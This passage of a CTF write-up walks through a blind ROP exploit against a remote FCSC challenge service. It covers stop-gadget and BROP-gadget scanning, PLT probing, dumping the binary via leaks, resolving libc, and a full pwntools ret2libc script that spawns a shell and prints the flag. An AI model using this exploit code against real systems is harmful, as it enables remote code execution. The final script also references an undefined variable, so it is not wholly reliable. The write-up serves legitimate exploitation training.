aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xd1\x06@\x84(\xad\xfb\n'[0x4006d6] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xd6\x06@'[0x4006db] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xdb\x06@'[0x4006e2] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe2\x06@'[0x4006e3] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe3\x06@'[0x4006e5] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe5\x06@'[0x4006e6] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x06@'[0x40073b] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;\x07@Hello you.\nWhat is your name ?\n>>> '[0x400742] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaB\x07@'[0x400743] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaC\x07@'[0x400758] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX\x07@'If we read carefully, we can notice the [0x400668] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah\x06@>>> ' gadget.
It’s a very good stop gadget because it’s the only gadget which prints: Thanks + padding + return_address_upto_null_byte + >>> .
And so for our attack we will use it.
Brop gadget
Since we got the stop gadget, everything is easier. We just have to scan the .text of the remote binary to find the brop gadget which is basically the end of the csu in most of the binaries. It’s easy to find because it’s a pop of six qword like that:
pop rbxpop rbppop r12pop r13pop r14pop r15retnSo we use a probe + trap * 6 + stop + trap*20 payload to find these kinf od gadgets.
And so here is the script:
def unpadd(s): return s.split(b"\x00")[0]
def is_stop(s, ip, padding): return (ip not in STOP_GADGETS) and (s == b"Thanks " + padding + unpadd(p64(ip)) + b">>> ")
def try_jmp(s): while True: try: io = start() io.write(s) resp = io.recv(500, timeout=30.0)[35:] break except: print(f"STOP: {sys.exc_info()[0]}") resp = -1 break
return resp
def find_brop(padding): base = 0x400000
for i in range(0, 0x2000): buf = padding + p64(base + i) + p64(0xdeadbeef) * 6 + p64(STOP_GADGETS[0]) resp = try_jmp(buf) if is_stop(resp, base+i, padding): print(f"Output: {resp}, leak: {hex(int.from_bytes(p64(base + i), 'little'))}") break
if not i % 35: print(f"_ - {hex(i)}")
return base + i
find_brop("a"*40)Which returns:
$ ./solve.py_ - 0x0_ - 0x23_ - 0x46_ - 0x69_ - 0x8c_ - 0xaf_ - 0xd2_ - 0xf5_ - 0x118_ - 0x13b_ - 0x15e_ - 0x181_ - 0x1a4_ - 0x1c7_ - 0x1ea_ - 0x20d_ - 0x230_ - 0x253_ - 0x276_ - 0x299_ - 0x2bc_ - 0x2df_ - 0x302_ - 0x325_ - 0x348_ - 0x36b_ - 0x38e_ - 0x3b1_ - 0x3d4_ - 0x3f7_ - 0x41a_ - 0x43d_ - 0x460_ - 0x483_ - 0x4a6_ - 0x4c9_ - 0x4ec_ - 0x50f_ - 0x532_ - 0x555_ - 0x578_ - 0x59b_ - 0x5be_ - 0x5e1_ - 0x604_ - 0x627_ - 0x64a_ - 0x66d_ - 0x690_ - 0x6b3_ - 0x6d6_ - 0x6f9_ - 0x71cOutput: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:\x07@>>> ', leak: 0x40073aSince we got this gadget we can control rdi and rsi because of some misaligned instructions !
Procedure linkage table (PLT)
The next step would be to leak the PLT to see if there is a puts, printf, or write functions. To find the PLT there is three rules:
- The addresses of each stub are 16 bytes aligned
- If we jmp one time on a candidate we can check it’s a PLT entry by jumping at
entry+6which is the address of the slowpath jump in the GOT. And so the behaviour should be the same. - We can give arguments like valid pointers in
rdiandrsito identify functions like puts, strcmp etc.
I used so a payload’s structure like this: padding + POP_RDI + 0x400000 + POP_RSI_R15 + 0x400000 + probe + stop + trap
That’s how I developped this function:
POP_RDI = CSU_POP+0x9POP_RSI_R15 = CSU_POP+0x7
def unpadd(s): return s.split(b"\x00")[0]
def is_stop(s, ip, padding): return (ip not in STOP_GADGETS) and (s == b"Thanks " + padding + unpadd(p64(ip)) + b">>> ")
def try_jmp(s): while True: try: io = start() io.write(s) resp = io.recv(500, timeout=30.0)[35:] break except: print(f"STOP: {sys.exc_info()[0]}") resp = -1 break
return resp
def find_plt(padding): base = 0x400000 s = 0
for i in range(0x0, 0x3000, 0x10): resp1 = try_jmp(padding + p64(POP_RDI) + p64(0x400000) + p64(POP_RSI_R15) + p64(0x400000)*2 + p64(base+i) + p64(STOP_GADGETS[0]) + p64(0xdeadbeef)) # I used the base address because it's an recognizable pattern
if is_stop(resp1, base+i, padding): print(f"Output: {resp1.hex()}, leak: {hex(int.from_bytes(p64(base + i), 'little'))}")
elif len(resp1): print(f"[{hex(base+i)}] Out: {resp1.hex()}")And we got this:
$ ./solve.py[0x400500] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307407f454c460201010a3e3e3e20[0x400510] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307407f454c460201013e3e3e20[0x400520] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20[0x400570] Out: 5468616e6b73204141414141414141414141414141414141414141414141414141414141414141414141414141414143074048656c6c6f20796f752e0a5768617420697320796f7572206e616d65203f0a3e3e3e20[0x4005d0] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20[0x400610] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20[0x400630] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20[0x400640] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20[0x4006e0] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20[0x400750] Out: 5468616e6b7320414141414141414141414141414141414141414141414141414141414141414141414141414141414307403e3e3e20Awesome ! We got a leak of the binary in two gadgets !
Leaking the binary
Since we can leak an arbitrary location it’s really easier !
We can see that the patter which leaks is like: Thanks + padding + unpadd(p64(POP_RDI)) + leak_upto_null_byte.
So we can leak all the binary from the base address:
STOP_GADGETS = [0x400668]POP_RDI = CSU_POP+0x9POP_RSI_R15 = CSU_POP+0x7
def unpadd(s): return s.split(b"\x00")[0]
def try_jmp(s): while True: try: io = start() io.write(s) resp = io.recv(500, timeout=30.0)[35:] break except: print(f"STOP: {sys.exc_info()[0]}") resp = -1 break
return resp
def dump_binary(padding, base): gadget_leak = 0x400510 i = 0 buf = b""
pattern = b"Thanks " + padding + unpadd(p64(POP_RDI))
f = open("leet_dump.bin", "ab")
while base+i < 0x400fff: # guessed end to the binary .text resp1 = try_jmp(padding + p64(POP_RDI) + p64(base+i) + p64(POP_RSI_R15) + p64(0x0)*2 + p64(gadget_leak) + p64(STOP_GADGETS[0]) + p64(0xdeadbeef))
if not len(resp1): # somtimes there is no repsonse continue
leak = resp1[len(pattern):resp1.index(b'>>> ')] # get the leaked part
if not len(leak): # if no leak it means it's a null byte buf += b"\x00" print(f"[*] recv @ {hex(base+i)}: 0x00") i += 1 else: # else we got raw data leaked buf += leak print(f"[*] recv @ {hex(base+i)}: {leak.hex()}")
i = i + len(leak)
if len(buf) >= 0x100: # we write bytes to the file each 0x100 bytes f.write(buf) buf = b"" print("Buffering ..")Because of my connection I have to relaunch the script with a different base address to dump the whole binary but anyway, it works !
$ ./solve.py[skip][*] recv @ 0x400fff: 0x00STOP: <class 'KeyboardInterrupt'>$ ./solve.pySince we dumped the binary we just need to build a classic ropchain by leaking the address of FFLUSH in the GOT and then compute the base address of the libc. It’s interesting to see that we don’t know what libc it is. So we can use this to find from the offset of fflush and read, the right version. Which gives:
__libc_start_main 0x021a50 0x0system 0x041490 0x1fa40fflush 0x069ab0 0x48060open 0x0db950 0xb9f00read 0x0dbb90 0xba140write 0x0dbbf0 0xba1a0str_bin_sh 0x1633e8 0x141998Put everything together
I’ll no detail a lot the final part because it’s a basic rop payload. But since we got the right gadgets from the leaked binary, it’s very easy. We have to notice that this exploit is not 100% reiable, if the address of FFLUSH in the GOT has a NULL byte the exploit will not work. Here is the final function:
STOP_GADGETS = [0x400668]
CSU_POP = 0x40073aPOP_RDI = CSU_POP+0x9POP_RSI_R15 = CSU_POP+0x7
GADGET_LEAK = 0x400510FFLUSH_GOT = 0x400000 + 0x200FF0FFLUSH_OFFSET = 0x069ab0OFFT_BINSH = 0x1633e8
SYSTEM = 0x041490
def try_jmp_flow(s): while True: try: io = start() io.write(s) resp = io.recv(500, timeout=30.0)[35:] break except: print(f"STOP: {sys.exc_info()[0]}") resp = -1 break
return resp, io
def flow(padding): payload = padding payload += p64(POP_RDI) payload += p64(FFLUSH_GOT) payload += p64(POP_RSI_R15) + p64(0xffffffffffffffff)*2 payload += p64(GADGET_LEAK) payload += p64(0x400000 + 0x656) # ret2main
pattern = b"Thanks " + padding + unpadd(p64(POP_RDI)) resp_tmp, io = try_jmp_flow(payload) print(resp_tmp) leak_fflush = int.from_bytes(resp_tmp[len(pattern):resp_tmp.index(b'What is')], 'little')
libc = leak_fflush - FFLUSH_OFFSET print(f"libc @ {hex(libc)}")
payload = padding payload += p64(POP_RDI) payload += p64(libc + OFFT_BINSH) payload += p64(libc + SYSTEM)
io.send(payload) io.interactive()
flow("a"*40)And when we run it, we got a shell yeeeeeah !
$ ./solve.pyb'Thanks AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC\x07@\xb0J\xa2\xd7<\x7fWhat is your name ?\n>>> 'libc @ 0x7f3cd79bb000$ iduid=1000(ctf) gid=1000(ctf) groups=1000(ctf)$ cat flagFCSC{3bf7861167a72f521dd70f704d471bf2be7586b635b40d3e5d50b989dc010f28}Here is the final script:
#!/usr/bin/python3from pwn import *
STOP_GADGETS = [0x400668]
CSU_POP = 0x40073aPOP_RDI = CSU_POP+0x9POP_RSI_R15 = CSU_POP+0x7
GADGET_LEAK = 0x400510FFLUSH_GOT = 0x400000 + 0x200FF0FFLUSH_OFFSET = 0x069ab0OFFT_BINSH = 0x1633e8
SYSTEM = 0x041490
"""__libc_start_main 0x021a50 0x0system 0x041490 0x1fa40fflush 0x069ab0 0x48060open 0x0db950 0xb9f00read 0x0dbb90 0xba140write 0x0dbbf0 0xba1a0str_bin_sh 0x1633e8 0x141998"""
context.log_level = 'error'
def start(): return remote("challenges2.france-cybersecurity-challenge.fr", 4008)
def padd(s): return s + b"\x00"*(8-(len(s) % 8))
def unpadd(s): return s.split(b"\x00")[0]
def is_crash(s): return not (len(s) == 0)
def is_stop(s, ip, padding): return (ip not in STOP_GADGETS) and (s == b"Thanks " + padding + unpadd(p64(ip)) + b">>> ")
def jmp(av): io = start() io.write(av) return io.recvall(timeout=5.0)
def find_padding(p=b""): padding = p + b"\x90" print(f"[*] sending: {padding}") resp = jmp(padding) print(f"[*] recv: {resp}") while b"Hello you.\nWhat is your name ?\n>>> Thanks " + padding in resp: return find_padding(p=padding) return padding[:len(padding)-1] # minus one char because we do not want that padding overwrite the return address
def leak2(padding: str, leak1=b""): for i in range(256): buf = padding + leak1 + p8(i) resp = try_jmp(buf) # print(f"Trying on {hex(int.from_bytes(leak1+p8(i), 'little') << (64 - counter*8))}") if len(resp): print(f"[{hex(int.from_bytes(padd(leak1+p8(i)), 'little'))}] Output: {resp}") if len(leak1) < 8: leak2(padding, leak1=leak1+p8(i)) else: return leak1
return leak1
def leak2_opti(padding: str): base = 0x400000
for i in range(0x2000): buf = padding + p64(base+i) resp = try_jmp(buf) # print(f"Trying on {hex(int.from_bytes(leak1+p8(i), 'little') << (64 - counter*8))}") if len(resp): print(f"[{hex(base+i)}] Output: {resp}") continue
return leak1
def find_brop(padding): base = 0x400000
for i in range(0, 0x2000): buf = padding + p64(base + i) + p64(0xdeadbeef) * 6 + p64(STOP_GADGETS[0]) resp = try_jmp(buf) if is_stop(resp, base+i, padding): print(f"Output: {resp}, leak: {hex(int.from_bytes(p64(base + i), 'little'))}") break
if not i % 35: print(f"_ - {hex(i)}")
return base + i
def dump_binary(padding, base): gadget_leak = 0x400510 i = 0 buf = b""
pattern = b"Thanks " + padding + unpadd(p64(POP_RDI))
f = open("leet_dump.bin", "ab")
while base+i < 0x400fff: resp1 = try_jmp(padding + p64(POP_RDI) + p64(base+i) + p64(POP_RSI_R15) + p64(0x0)*2 + p64(gadget_leak) + p64(STOP_GADGETS[0]) + p64(0xdeadbeef))
if not len(resp1): continue
leak = resp1[len(pattern):resp1.index(b'>>> ')]
if not len(leak): buf += b"\x00" print(f"[*] recv @ {hex(base+i)}: 0x00") i += 1 else: buf += leak print(f"[*] recv @ {hex(base+i)}: {leak.hex()}")
i = i + len(leak)
if len(buf) >= 0x100: f.write(buf) buf = b"" print("Buffering ..")
def find_plt(padding): base = 0x400000 s = 0
for i in range(0x0, 0x3000, 0x10): resp1 = try_jmp(padding + p64(POP_RDI) + p64(0x400000) + p64(POP_RSI_R15) + p64(0x400000)*2 + p64(base+i) + p64(STOP_GADGETS[0]) + p64(0xdeadbeef))
if is_stop(resp1, base+i, padding): print(f"Output: {resp1.hex()}, leak: {hex(int.from_bytes(p64(base + i), 'little'))}")
elif len(resp1): print(f"[{hex(base+i)}] Out: {resp1.hex()}")
def try_jmp(s): while True: try: io = start() io.write(s) resp = io.recv(500, timeout=30.0)[35:] break except: print(f"STOP: {sys.exc_info()[0]}") resp = -1 break
return resp
def try_jmp_flow(s): while True: try: io = start() io.write(s) resp = io.recv(500, timeout=30.0)[35:] break except: print(f"STOP: {sys.exc_info()[0]}") resp = -1 break
return resp, io
def flow(padding): payload = av payload += p64(POP_RDI) payload += p64(FFLUSH_GOT) payload += p64(POP_RSI_R15) + p64(0xffffffffffffffff)*2 payload += p64(GADGET_LEAK) payload += p64(0x400000 + 0x656) # ret2main
pattern = b"Thanks " + padding + unpadd(p64(POP_RDI)) resp_tmp, io = try_jmp_flow(payload) print(resp_tmp) leak_fflush = int.from_bytes(resp_tmp[len(pattern):resp_tmp.index(b'What is')], 'little')
libc = leak_fflush - FFLUSH_OFFSET print(f"libc @ {hex(libc)}")
payload = av payload += p64(POP_RDI) payload += p64(libc + OFFT_BINSH) payload += p64(libc + SYSTEM)
io.send(payload) io.interactive()
flow("a"*40)# FCSC{3bf7861167a72f521dd70f704d471bf2be7586b635b40d3e5d50b989dc010f28}Thanks to the creator of this very interesting challenge !